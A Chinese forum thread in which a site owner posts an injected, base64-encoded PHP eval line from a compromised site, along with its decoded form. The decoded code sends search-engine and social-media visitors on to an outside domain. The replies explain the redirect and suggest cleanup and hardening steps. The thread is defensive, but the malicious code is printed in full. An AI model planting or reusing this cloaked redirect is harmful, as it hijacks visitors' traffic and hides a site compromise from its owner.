网站被挂马，求高手帮助，跟帖给分，分不够另开贴给分。

Question

文件的开头是这样的：
<?php   eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KICRxYXpwbG09aGVhZGVyc19zZW50KCk7DQppZiAoISRxYXpwbG0pew0KICRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KIGlmICgkdWFnKSB7DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFuZGV4Iikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiYWlkdS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJkb3VibGVjbGljay5uZXQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiY2xpY2tiYW5rLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJsb2dzcG90LmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQogaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCiBoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vc3RiamJwaXIub3NhLnBsLyIpOw0KIGV4aXQoKTsNCiB9DQogfQ0KfQ0KCX0="));……我查了http://tool.chinaz.com/Tools/base64.aspx后得到如下代码，请问是什么意思？怎么解决网站被挂马的问题？
error_reporting(0);
 $qazplm=headers_sent();
if (!$qazplm){
 $referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
 if ($uag) {
if (stristr($referer,"yandex") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"baidu.com") or stristr($referer,"doubleclick.net") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or stristr($referer,"clickbank.net") or stristr($referer,"blogspot.com") or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
 if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
 header("Location: http://stbjbpir.osa.pl/");
 exit();
 }
 }
}
}

Answer 1

被挂马了。
上面是判断是否浏览器访问网站的用户。如果是就判断是否为来自于yandex、yahoo、google... 这些网站过来的。。然后再判断没cache或inurl字符串就跳转至http://stbjbpir.osa.pl。这样挂不会让你立刻发现挂了马、送流量他们。
解决。
分析程序。过虑等。像有上传的地方要判断好。
增强服务器安全。像ftp。密码防暴等。。

Answer 2

可以写程序来检查一下。
检查一下那些高危的函数。像eval()

Answer 3

同 #1 不过也没有什么威胁
http://stbjbpir.osa.pl/ 403 拒绝访问
http://stbjbpir.osa.pl 空白页面不就是阻止他人从搜索引擎来访问你吗？
你的网站是否有不和谐的内容？

Answer 4

查看日志 获取最近修改文件列表
禁止 eval函数.搜索网站所有 包含 eval 的页面 修正
找出漏洞...

Answer 5

你既然被挂了首选 ，也是最重要的是把现在你程序的一门程序（webshel）找了找到了给我，我要收集（呵呵）然后，上传 东西的地方，看看安不安本，在然后服务器安全，FTP安全这样做后应该可以避免被挂马